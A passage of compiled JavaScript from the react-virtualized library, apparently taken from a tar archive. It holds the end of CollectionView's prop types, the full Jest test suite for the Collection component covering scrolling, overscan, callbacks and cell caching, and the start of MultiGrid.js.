  height: PropTypes.number.isRequired,

  /**
   * Optional custom id to attach to root Collection element.
   */
  id: PropTypes.string,

  /**
   * Enables the `Collection` to horiontally "overscan" its content similar to how `Grid` does.
   * This can reduce flicker around the edges when a user scrolls quickly.
   */
  horizontalOverscanSize: PropTypes.number.isRequired,
  isScrollingChange: PropTypes.func,

  /**
   * Optional renderer to be used in place of rows when either :rowCount or :cellCount is 0.
   */
  noContentRenderer: PropTypes.func.isRequired,

  /**
   * Callback invoked whenever the scroll offset changes within the inner scrollable region.
   * This callback can be used to sync scrolling between lists, tables, or grids.
   * ({ clientHeight, clientWidth, scrollHeight, scrollLeft, scrollTop, scrollWidth }): void
   */
  onScroll: PropTypes.func.isRequired,

  /**
   * Callback invoked with information about the section of the Collection that was just rendered.
   * This callback is passed a named :indices parameter which is an Array of the most recently rendered section indices.
   */
  onSectionRendered: PropTypes.func.isRequired,

  /**
   * Horizontal offset.
   */
  scrollLeft: PropTypes.number,

  /**
   * Controls scroll-to-cell behavior of the Grid.
   * The default ("auto") scrolls the least amount possible to ensure that the specified cell is fully visible.
   * Use "start" to align cells to the top/left of the Grid and "end" to align bottom/right.
   */
  scrollToAlignment: PropTypes.oneOf(['auto', 'end', 'start', 'center']).isRequired,

  /**
   * Cell index to ensure visible (by forcefully scrolling if necessary).
   */
  scrollToCell: PropTypes.number.isRequired,

  /**
   * Vertical offset.
   */
  scrollTop: PropTypes.number,

  /**
   * Optional custom inline style to attach to root Collection element.
   */
  style: PropTypes.object,

  /**
   * Enables the `Collection` to vertically "overscan" its content similar to how `Grid` does.
   * This can reduce flicker around the edges when a user scrolls quickly.
   */
  verticalOverscanSize: PropTypes.number.isRequired,

  /**
   * Width of Collection; this property determines the number of visible (vs virtualized) columns.
   */
  width: PropTypes.number.isRequired
} : {};
polyfill(CollectionView);
export default CollectionView;es/Collection/Collection.jest.js000064400000071444151677406000012663 0ustar00import _defineProperty from "@babel/runtime/helpers/defineProperty";
import _regeneratorRuntime from "@babel/runtime/regenerator";
import _typeof from "@babel/runtime/helpers/typeof";
import _extends from "@babel/runtime/helpers/extends";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

/**
 * Tests Collection and CollectionView.
 * 
 */
import getScrollbarSize from 'dom-helpers/scrollbarSize';
import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { Simulate } from 'react-dom/test-utils';
import { render } from '../TestUtils';
import Collection from './Collection';
import { CELLS, SECTION_SIZE } from './TestData';
describe('Collection', function () {
  function defaultCellRenderer(_ref) {
    var index = _ref.index,
        key = _ref.key,
        style = _ref.style;
    return React.createElement("div", {
      className: "cell",
      key: key,
      style: style
    }, "cell:", index);
  }

  function getMarkup() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    var _props$cellCount = props.cellCount,
        cellCount = _props$cellCount === void 0 ? CELLS.length : _props$cellCount;

    function defaultCellSizeAndPositionGetter(_ref2) {
      var index = _ref2.index;
      index %= cellCount;
      return CELLS[index];
    }

    return React.createElement(Collection, _extends({
      cellCount: cellCount,
      cellRenderer: defaultCellRenderer,
      cellSizeAndPositionGetter: defaultCellSizeAndPositionGetter,
      height: SECTION_SIZE,
      sectionSize: SECTION_SIZE,
      width: SECTION_SIZE * 2
    }, props));
  }

  function simulateScroll(_ref3) {
    var collection = _ref3.collection,
        _ref3$scrollLeft = _ref3.scrollLeft,
        scrollLeft = _ref3$scrollLeft === void 0 ? 0 : _ref3$scrollLeft,
        _ref3$scrollTop = _ref3.scrollTop,
        scrollTop = _ref3$scrollTop === void 0 ? 0 : _ref3$scrollTop;
    var target = {
      scrollLeft: scrollLeft,
      scrollTop: scrollTop
    };
    collection._collectionView._scrollingContainer = target; // HACK to work around _onScroll target check

    Simulate.scroll(findDOMNode(collection), {
      target: target
    });
  }

  function compareArrays(array1, array2) {
    expect(array1.length).toEqual(array2.length);
    array2.forEach(function (value) {
      expect(array1).toContain(value);
    });
  }

  describe('number of rendered children', function () {
    it('should render enough children to fill the available area', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.querySelectorAll('.cell').length).toEqual(4);
    });
    it('should not render more cells than available if the area is not filled', function () {
      var rendered = findDOMNode(render(getMarkup({
        cellCount: 2
      })));
      expect(rendered.querySelectorAll('.cell').length).toEqual(2);
    }); // Small performance tweak added in 5.5.6

    it('should not render/parent cells that are null or false', function () {
      function cellRenderer(_ref4) {
        var index = _ref4.index,
            key = _ref4.key,
            style = _ref4.style;

        if (index > 2) {
          return null;
        } else {
          return React.createElement("div", {
            className: "cell",
            key: key,
            style: style
          }, index);
        }
      }

      var rendered = findDOMNode(render(getMarkup({
        cellRenderer: cellRenderer
      })));
      expect(rendered.querySelectorAll('.cell').length).toEqual(3);
    });
  });
  describe('shows and hides scrollbars based on rendered content', function () {
    var scrollbarSize;
    beforeAll(function () {
      scrollbarSize = getScrollbarSize();
    });
    it('should set overflowX:hidden if columns fit within the available width and y-axis has no scrollbar', function () {
      var rendered = findDOMNode(render(getMarkup({
        height: 4,
        width: 6
      })));
      expect(rendered.style.overflowX).toEqual('hidden');
    });
    it('should set overflowX:hidden if columns and y-axis scrollbar fit within the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        height: 1,
        width: 6 + scrollbarSize
      })));
      expect(rendered.style.overflowX).toEqual('hidden');
    });
    it('should leave overflowX:auto if columns require more than the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        width: 1
      })));
      expect(rendered.style.overflowX).not.toEqual('hidden');
    });
    it('should leave overflowX:auto if columns and y-axis scrollbar require more than the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        height: 1,
        width: 6 + scrollbarSize - 1
      })));
      expect(rendered.style.overflowX).not.toEqual('hidden');
    });
    it('should set overflowY:hidden if rows fit within the available width and xaxis has no scrollbar', function () {
      var rendered = findDOMNode(render(getMarkup({
        height: 4,
        width: 6
      })));
      expect(rendered.style.overflowY).toEqual('hidden');
    });
    it('should set overflowY:hidden if rows and x-axis scrollbar fit within the available width', function () {
      var rendered = findDOMNode(render(getMarkup({
        height: 4 + scrollbarSize,
        width: 1
      })));
      expect(rendered.style.overflowY).toEqual('hidden');
    });
    it('should leave overflowY:auto if rows require more than the available height', function () {
      var rendered = findDOMNode(render(getMarkup({
        height: 1
      })));
      expect(rendered.style.overflowY).not.toEqual('hidden');
    });
    it('should leave overflowY:auto if rows and y-axis scrollbar require more than the available height', function () {
      var rendered = findDOMNode(render(getMarkup({
        height: 4 + scrollbarSize - 1,
        width: 1
      })));
      expect(rendered.style.overflowY).not.toEqual('hidden');
    });
    it('should accept styles that overwrite calculated ones', function () {
      var rendered = findDOMNode(render(getMarkup({
        height: 1,
        style: {
          overflowX: 'auto',
          overflowY: 'auto'
        },
        width: 1
      })));
      expect(rendered.style.overflowX).toEqual('auto');
      expect(rendered.style.overflowY).toEqual('auto');
    });
  });
  describe('autoHeight', function () {
    it('should set the container height to auto to adjust to innerScrollContainer height', function () {
      var props = {
        autoHeight: true
      };
      var rendered = findDOMNode(render(getMarkup(props)));
      expect(rendered.style.height).toEqual('auto');
    });
    it('should have container height still affecting number of rows rendered', function () {
      var indices;
      var props = {
        autoHeight: true,
        height: 500,
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        }
      };
      findDOMNode(render(getMarkup(props)));
      compareArrays(indices, [0, 1, 2, 3, 4, 5]);
    });
    it('should have innerScrollContainer height to be equal number of rows * rowHeight', function () {
      var props = {
        autoHeight: true
      };
      var rendered = findDOMNode(render(getMarkup(props)));
      expect(rendered.querySelector('.ReactVirtualized__Collection__innerScrollContainer').style.height).toEqual('4px');
    });
  });
  describe(':scrollToCell', function () {
    it('should scroll to the top/left', function () {
      var collection = render(getMarkup({
        scrollToCell: 0
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(0);
      expect(collection._collectionView.state.scrollTop).toEqual(0);
    });
    it('should scroll over to the middle', function () {
      var collection = render(getMarkup({
        scrollToCell: 7
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(1);
      expect(collection._collectionView.state.scrollTop).toEqual(1);
    });
    it('should scroll to the bottom/right', function () {
      var collection = render(getMarkup({
        scrollToCell: 9
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(2);
      expect(collection._collectionView.state.scrollTop).toEqual(2);
    });
    it('should honor the specified :scrollToAlignment', function () {
      var collection = render(getMarkup({
        scrollToAlignment: 'start',
        scrollToCell: 2,
        width: SECTION_SIZE
      })); // Minimum amount of scrolling ("auto") would be 0,0

      expect(collection._collectionView.state.scrollLeft).toEqual(2);
      expect(collection._collectionView.state.scrollTop).toEqual(1);
      collection = render(getMarkup({
        scrollToAlignment: 'end',
        scrollToCell: 2,
        width: SECTION_SIZE
      })); // This cell would already by visible by "auto" rules

      expect(collection._collectionView.state.scrollLeft).toEqual(1);
      expect(collection._collectionView.state.scrollTop).toEqual(0);
      collection = render(getMarkup({
        scrollToAlignment: 'center',
        scrollToCell: 4,
        width: SECTION_SIZE
      })); // This cell doesn't fit entirely in the viewport but we center it anyway.

      expect(collection._collectionView.state.scrollLeft).toEqual(0.5);
      expect(collection._collectionView.state.scrollTop).toEqual(2);
    });
    it('should scroll to a cell just added', function () {
      var collection = render(getMarkup({
        cellCount: 4
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(0);
      expect(collection._collectionView.state.scrollTop).toEqual(0);
      collection = render(getMarkup({
        cellCount: 8,
        scrollToCell: 7
      }));
      expect(collection._collectionView.state.scrollLeft).toEqual(1);
      expect(collection._collectionView.state.scrollTop).toEqual(1);
    });
  });
  describe('property updates', function () {
    it('should update :scrollToCell position when :width changes', function () {
      var collection = findDOMNode(render(getMarkup({
        scrollToCell: 3
      })));
      expect(collection.textContent).toContain('cell:3'); // Making the collection narrower leaves only room for 1 item

      collection = findDOMNode(render(getMarkup({
        scrollToCell: 3,
        width: 1
      })));
      expect(collection.textContent).toContain('cell:3');
    });
    it('should update :scrollToCell position when :height changes', function () {
      var collection = findDOMNode(render(getMarkup({
        scrollToCell: 4
      })));
      expect(collection.textContent).toContain('cell:4'); // Making the collection shorter leaves only room for 1 item

      collection = findDOMNode(render(getMarkup({
        scrollToCell: 4,
        height: 1
      })));
      expect(collection.textContent).toContain('cell:4');
    });
    it('should update scroll position when :scrollToCell changes', function () {
      var collection = findDOMNode(render(getMarkup()));
      expect(collection.textContent).not.toContain('cell:9');
      collection = findDOMNode(render(getMarkup({
        scrollToCell: 9
      })));
      expect(collection.textContent).toContain('cell:9');
    });
  });
  describe('noContentRenderer', function () {
    it('should call :noContentRenderer if :cellCount is 0', function () {
      var list = findDOMNode(render(getMarkup({
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        },
        cellCount: 0
      })));
      expect(list.textContent).toEqual('No data');
    });
    it('should render an empty body if :cellCount is 0 and there is no :noContentRenderer', function () {
      var list = findDOMNode(render(getMarkup({
        cellCount: 0
      })));
      expect(list.textContent).toEqual('');
    });
    it('should not show the :noContentRenderer when there are children, even if no children are currently visible (sparse)', function () {
      var offscreenSizeAndPosition = {
        x: SECTION_SIZE * 3,
        y: SECTION_SIZE * 3,
        width: 1,
        height: 1
      };

      function cellSizeAndPositionGetter() {
        return offscreenSizeAndPosition;
      }

      var list = findDOMNode(render(getMarkup({
        cellCount: 1,
        cellSizeAndPositionGetter: cellSizeAndPositionGetter,
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        }
      })));
      expect(list.textContent).not.toEqual('No data');
    });
  });
  describe('onSectionRendered', function () {
    it('should call :onSectionRendered if at least one cell is rendered', function () {
      var indices;
      render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        }
      }));
      compareArrays(indices, [0, 1, 2, 3]);
    });
    it('should not call :onSectionRendered unless the rendered indices have changed', function () {
      var numCalls = 0;
      var indices;

      var onSectionRendered = function onSectionRendered(params) {
        indices = params.indices;
        numCalls++;
      };

      render(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      compareArrays(indices, [0, 1, 2, 3]);
      render(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      compareArrays(indices, [0, 1, 2, 3]);
    });
    it('should call :onSectionRendered if the rendered indices have changed', function () {
      var numCalls = 0;
      var indices;

      var onSectionRendered = function onSectionRendered(params) {
        indices = params.indices;
        numCalls++;
      };

      render(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      compareArrays(indices, [0, 1, 2, 3]);
      render(getMarkup({
        height: SECTION_SIZE * 2,
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(2);
      compareArrays(indices, [0, 1, 2, 3, 4, 5]);
      render(getMarkup({
        height: SECTION_SIZE * 2,
        onSectionRendered: onSectionRendered,
        width: SECTION_SIZE
      }));
      expect(numCalls).toEqual(3);
      expect(indices).toEqual([0, 4]);
    });
    it('should not call :onSectionRendered if no cells are rendered', function () {
      var numCalls = 0;
      render(getMarkup({
        height: 0,
        onSectionRendered: function onSectionRendered() {
          return numCalls++;
        }
      }));
      expect(numCalls).toEqual(0);
    });
  });
  describe(':scrollLeft and :scrollTop properties', function () {
    it('should render correctly when an initial :scrollLeft and :scrollTop properties are specified', function () {
      var indices;
      var collection = render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        scrollLeft: 2,
        scrollTop: 2
      }));
      compareArrays(indices, [3, 4, 5, 7, 8, 9]);
      expect(collection._collectionView.state.scrollPositionChangeReason).toEqual('requested');
    });
    it('should render correctly when :scrollLeft and :scrollTop properties are updated', function () {
      var indices;
      render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        }
      }));
      compareArrays(indices, [0, 1, 2, 3]);
      var collection = render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        scrollLeft: 2,
        scrollTop: 2
      }));
      compareArrays(indices, [3, 4, 5, 7, 8, 9]);
      expect(collection._collectionView.state.scrollPositionChangeReason).toEqual('requested');
    });
  });
  describe('styles, classNames, and ids', function () {
    it('should use the expected global CSS classNames', function () {
      var rendered = findDOMNode(render(getMarkup()));
      expect(rendered.className).toEqual('ReactVirtualized__Collection');
    });
    it('should use a custom :className if specified', function () {
      var rendered = findDOMNode(render(getMarkup({
        className: 'foo'
      })));
      expect(rendered.className).toContain('foo');
    });
    it('should use a custom :id if specified', function () {
      var rendered = findDOMNode(render(getMarkup({
        id: 'bar'
      })));
      expect(rendered.getAttribute('id')).toEqual('bar');
    });
    it('should use a custom :style if specified', function () {
      var style = {
        backgroundColor: 'red'
      };
      var rendered = findDOMNode(render(getMarkup({
        style: style
      })));
      expect(rendered.style.backgroundColor).toEqual('red');
    });
  });
  describe('onScroll', function () {
    it('should trigger callback when component is mounted', function () {
      var onScrollCalls = [];
      render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollLeft: 2,
        scrollTop: 1
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: SECTION_SIZE,
        clientWidth: SECTION_SIZE * 2,
        scrollHeight: 4,
        scrollLeft: 2,
        scrollTop: 1,
        scrollWidth: 6
      }]);
    });
    it('should trigger callback when component scrolls horizontally', function () {
      var onScrollCalls = [];
      var collection = render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        collection: collection,
        scrollLeft: 1,
        scrollTop: 0
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: SECTION_SIZE,
        clientWidth: SECTION_SIZE * 2,
        scrollHeight: 4,
        scrollLeft: 1,
        scrollTop: 0,
        scrollWidth: 6
      });
    });
    it('should trigger callback when component scrolls vertically', function () {
      var onScrollCalls = [];
      var collection = render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        collection: collection,
        scrollLeft: 0,
        scrollTop: 2
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: SECTION_SIZE,
        clientWidth: SECTION_SIZE * 2,
        scrollHeight: 4,
        scrollLeft: 0,
        scrollTop: 2,
        scrollWidth: 6
      });
    });
    it('should not allow negative scroll values', function () {
      var onScrollCalls = [];
      var collection = render(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        collection: collection,
        scrollLeft: -1,
        scrollTop: -1
      });
      expect(onScrollCalls.length).toEqual(1);
      expect(onScrollCalls[0].scrollLeft).toEqual(0);
      expect(onScrollCalls[0].scrollTop).toEqual(0);
    });
  });
  describe('cellGroupRenderer', function () {
    it('should use a custom :cellGroupRenderer if specified', function () {
      var cellGroupRendererCalled = 0;
      var cellGroupRendererParams;

      var cellRenderer = function cellRenderer(_ref5) {
        var index = _ref5.index,
            key = _ref5.key,
            style = _ref5.style;
        return React.createElement("div", {
          key: key,
          style: style
        }, index);
      };

      findDOMNode(render(getMarkup({
        cellRenderer: cellRenderer,
        cellGroupRenderer: function cellGroupRenderer(params) {
          cellGroupRendererParams = params;
          cellGroupRendererCalled++;
          return [React.createElement("div", {
            key: "0"
          }, "Fake content")];
        }
      })));
      expect(cellGroupRendererCalled).toEqual(1);
      expect(cellGroupRendererParams.cellRenderer).toEqual(cellRenderer);
      expect(_typeof(cellGroupRendererParams.cellSizeAndPositionGetter)).toEqual('function');
      compareArrays(cellGroupRendererParams.indices, [0, 1, 2, 3]);
    });
  });
  it('should pass the cellRenderer an :isScrolling flag when scrolling is in progress', function _callee(done) {
    var cellRendererCalls, cellRenderer, collection;
    return _regeneratorRuntime.async(function _callee$(_context) {
      while (1) {
        switch (_context.prev = _context.next) {
          case 0:
            cellRenderer = function _ref7(_ref6) {
              var index = _ref6.index,
                  isScrolling = _ref6.isScrolling,
                  key = _ref6.key,
                  style = _ref6.style;
              cellRendererCalls.push(isScrolling);
              return defaultCellRenderer({
                index: index,
                key: key,
                style: style
              });
            };

            cellRendererCalls = [];
            collection = render(getMarkup({
              cellRenderer: cellRenderer
            }));
            expect(cellRendererCalls[0]).toEqual(false);
            cellRendererCalls.splice(0);
            simulateScroll({
              collection: collection,
              scrollTop: 1
            }); // Give React time to process the queued setState()

            _context.next = 8;
            return _regeneratorRuntime.awrap(new Promise(function (resolve) {
              return setTimeout(resolve, 1);
            }));

          case 8:
            expect(cellRendererCalls[0]).toEqual(true);
            done();

          case 10:
          case "end":
            return _context.stop();
        }
      }
    });
  });
  describe('horizontalOverscanSize and verticalOverscanSize', function () {
    it('should include the horizontal and vertical overscan size when rendering cells', function () {
      var indices;
      render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        height: 1,
        horizontalOverscanSize: 2,
        sectionSize: 1,
        scrollLeft: 2,
        scrollTop: 2,
        width: 1,
        verticalOverscanSize: 1
      }));
      compareArrays(indices, [0, 2, 3, 4, 5, 6, 7, 9]);
    });
    it('should not exceed the top/left borders regardless of overscan size', function () {
      var indices;
      render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        height: 2,
        horizontalOverscanSize: 1,
        sectionSize: 1,
        scrollLeft: 0,
        scrollTop: 0,
        width: 1,
        verticalOverscanSize: 2
      }));
      compareArrays(indices, [0, 4]);
    });
    it('should not exceed the bottom/right borders regardless of overscan size', function () {
      var indices;
      render(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          indices = params.indices;
        },
        height: 2,
        horizontalOverscanSize: 1,
        sectionSize: 1,
        scrollLeft: 5,
        scrollTop: 2,
        width: 1,
        verticalOverscanSize: 2
      }));
      compareArrays(indices, [6, 7, 8, 9]);
    });
  });
  describe('cell caching', function () {
    it('should not cache cells if the Grid is not scrolling', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref8) {
        var isScrolling = _ref8.isScrolling,
            index = _ref8.index,
            key = _ref8.key,
            style = _ref8.style;
        cellRendererCalls.push({
          isScrolling: isScrolling,
          index: index
        });
        return defaultCellRenderer({
          index: index,
          key: key,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        scrollLeft: 0,
        scrollTop: 0
      };
      findDOMNode(render(getMarkup(props)));
      expect(cellRendererCalls.length).toEqual(4);
      cellRendererCalls.forEach(function (call) {
        return expect(call.isScrolling).toEqual(false);
      });
      cellRendererCalls.splice(0);
      render(getMarkup(_objectSpread({}, props, {
        foo: 'bar' // Force re-render

      })));
      expect(cellRendererCalls.length).toEqual(4);
      cellRendererCalls.forEach(function (call) {
        return expect(call.isScrolling).toEqual(false);
      });
    });
    it.skip('should cache a cell once it has been rendered while scrolling', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref9) {
        var isScrolling = _ref9.isScrolling,
            index = _ref9.index,
            key = _ref9.key,
            style = _ref9.style;
        cellRendererCalls.push({
          isScrolling: isScrolling,
          index: index
        });
        return defaultCellRenderer({
          index: index,
          key: key,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        scrollLeft: 0,
        scrollTop: 0
      };
      var collection = render(getMarkup(props));
      expect(cellRendererCalls.length).toEqual(4);
      cellRendererCalls.forEach(function (call) {
        return expect(call.isScrolling).toEqual(false);
      }); // FIXME: simulate scroll is not triggering cells to render in cache
      // Scroll a little bit; newly-rendered cells will be cached.

      simulateScroll({
        collection: collection,
        scrollTop: 2
      });
      cellRendererCalls.splice(0); // At this point cells 4 and 5 have been rendered,
      // But cells 7, 8, and 9 have not.

      render(getMarkup(_objectSpread({}, props, {
        scrollLeft: 1,
        scrollTop: 3
      })));
      expect(cellRendererCalls.length).toEqual(3);
      cellRendererCalls.forEach(function (call) {
        return expect(call.isScrolling).toEqual(true);
      });
    });
    it('should clear cache once :isScrolling is false', function _callee2(done) {
      var cellRendererCalls, cellRenderer, props, collection;
      return _regeneratorRuntime.async(function _callee2$(_context2) {
        while (1) {
          switch (_context2.prev = _context2.next) {
            case 0:
              cellRenderer = function _ref11(_ref10) {
                var isScrolling = _ref10.isScrolling,
                    index = _ref10.index,
                    key = _ref10.key,
                    style = _ref10.style;
                cellRendererCalls.push({
                  isScrolling: isScrolling,
                  index: index
                });
                return defaultCellRenderer({
                  isScrolling: isScrolling,
                  index: index,
                  key: key,
                  style: style
                });
              };

              cellRendererCalls = [];
              props = {
                cellRenderer: cellRenderer,
                scrollLeft: 0,
                scrollTop: 0
              };
              collection = render(getMarkup(props));
              simulateScroll({
                collection: collection,
                scrollTop: 1
              }); // Allow scrolling timeout to complete so that cell cache is reset

              _context2.next = 7;
              return _regeneratorRuntime.awrap(new Promise(function (resolve) {
                return setTimeout(resolve, 500);
              }));

            case 7:
              cellRendererCalls.splice(0);
              render(getMarkup(_objectSpread({}, props, {
                scrollTop: 1
              })));
              expect(cellRendererCalls.length).not.toEqual(0);
              done();

            case 11:
            case "end":
              return _context2.stop();
          }
        }
      });
    });
  }); // See issue #568 for more

  it('forceUpdate will also forceUpdate the inner CollectionView', function () {
    var cellRenderer = jest.fn();
    cellRenderer.mockImplementation(function (_ref12) {
      var key = _ref12.key;
      return React.createElement("div", {
        key: key
      });
    });
    var rendered = render(getMarkup({
      cellRenderer: cellRenderer
    }));
    expect(cellRenderer).toHaveBeenCalled();
    cellRenderer.mockReset();
    rendered.forceUpdate();
    expect(cellRenderer).toHaveBeenCalled();
  });
});es/MultiGrid/MultiGrid.js000064400000075071151677406000011331 0ustar00import _extends from "@babel/runtime/helpers/extends";
import _objectWithoutProperties from "@babel/runtime/helpers/objectWithoutProperties";
import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import PropTypes from 'prop-types';
import * as React from 'react';
import { polyfill } from 'react-lifecycles-compat';
import CellMeasurerCacheDecorator from './CellMeasurerCacheDecorator';
import Grid from '../Grid';
var SCROLLBAR_SIZE_BUFFER = 20;
/**
 * Renders 1, 2, or 4 Grids depending on configuration.
 * A main (body) Grid will always be rendered.
 * Optionally, 1-2 Grids for sticky header rows will also be rendered.
 * If no sticky columns, only 1 sticky header Grid will be rendered.
 * If sticky columns, 2 sticky header Grids will be rendered.
 */

var MultiGrid =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(MultiGrid, _React$PureComponent);

  function MultiGrid(props, context) {
    var _this;

    _classCallCheck(this, MultiGrid);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(MultiGrid).call(this, props, context));

    _defineProperty(_assertThisInitialized(_this), "state", {
      scrollLeft: 0,
      scrollTop: 0,
      scrollbarSize: 0,
      showHorizontalScrollbar: false,
      showVerticalScrollbar: false
    });

    _defineProperty(_assertThisInitialized(_this), "_deferredInvalidateColumnIndex", null);

    _defineProperty(_assertThisInitialized(_this), "_deferredInvalidateRowIndex", null);

    _defineProperty(_assertThisInitialized(_this), "_bottomLeftGridRef", function (ref) {
      _this._bottomLeftGrid = ref;
    });

    _defineProperty(_assertThisInitialized(_this), "_bottomRightGridRef", function (ref) {
      _this._bottomRightGrid = ref;
    });

    _defineProperty(_assertThisInitialized(_this), "_cellRendererBottomLeftGrid", function (_ref) {
      var rowIndex = _ref.rowIndex,
          rest = _objectWithoutProperties(_ref, ["rowIndex"]);

      var _this$props = _this.props,
          cellRenderer = _this$props.cellRenderer,
          fixedRowCount = _this$props.fixedRowCount,
          rowCount = _this$props.rowCount;

      if (rowIndex === rowCount - fixedRowCount) {
        return React.createElement("div", {
          key: rest.key,
          style: _objectSpread({}, rest.style, {
            height: SCROLLBAR_SIZE_BUFFER
          })
        });
      } else {
        return cellRenderer(_objectSpread({}, rest, {
          parent: _assertThisInitialized(_this),
          rowIndex: rowIndex + fixedRowCount
        }));
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_cellRendererBottomRightGrid", function (_ref2) {
      var columnIndex = _ref2.columnIndex,
          rowIndex = _ref2.rowIndex,
          rest = _objectWithoutProperties(_ref2, ["columnIndex", "rowIndex"]);

      var _this$props2 = _this.props,
          cellRenderer = _this$props2.cellRenderer,
          fixedColumnCount = _this$props2.fixedColumnCount,
          fixedRowCount = _this$props2.fixedRowCount;
      return cellRenderer(_objectSpread({}, rest, {
        columnIndex: columnIndex + fixedColumnCount,
        parent: _assertThisInitialized(_this),
        rowIndex: rowIndex + fixedRowCount
      }));
    });

    _defineProperty(_assertThisInitialized(_this), "_cellRendererTopRightGrid", function (_ref3) {
      var columnIndex = _ref3.columnIndex,
          rest = _objectWithoutProperties(_ref3, ["columnIndex"]);

      var _this$props3 = _this.props,
          cellRenderer = _this$props3.cellRenderer,
          columnCount = _this$props3.columnCount,
          fixedColumnCount = _this$props3.fixedColumnCount;

      if (columnIndex === columnCount - fixedColumnCount) {
        return React.createElement("div", {
          key: rest.key,
          style: _objectSpread({}, rest.style, {
            width: SCROLLBAR_SIZE_BUFFER
          })
        });
      } else {
        return cellRenderer(_objectSpread({}, rest, {
          columnIndex: columnIndex + fixedColumnCount,
          parent: _assertThisInitialized(_this)
        }));
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_columnWidthRightGrid", function (_ref4) {
      var index = _ref4.index;
      var _this$props4 = _this.props,
          columnCount = _this$props4.columnCount,
          fixedColumnCount = _this$props4.fixedColumnCount,
          columnWidth = _this$props4.columnWidth;
      var _this$state = _this.state,
          scrollbarSize = _this$state.scrollbarSize,
          showHorizontalScrollbar = _this$state.showHorizontalScrollbar; // An extra cell is added to the count
      // This gives the smaller Grid extra room for offset,
      // In case the main (bottom right) Grid has a scrollbar
      // If no scrollbar, the extra space is overflow:hidden anyway

      if (showHorizontalScrollbar && index === columnCount - fixedColumnCount) {
        return scrollbarSize;
      }

      return typeof columnWidth === 'function' ? columnWidth({
        index: index + fixedColumnCount
      }) : columnWidth;
    });

    _defineProperty(_assertThisInitialized(_this), "_onScroll", function (scrollInfo) {
      var scrollLeft = scrollInfo.scrollLeft,
          scrollTop = scrollInfo.scrollTop;

      _this.setState({
        scrollLeft: scrollLeft,
        scrollTop: scrollTop
      });

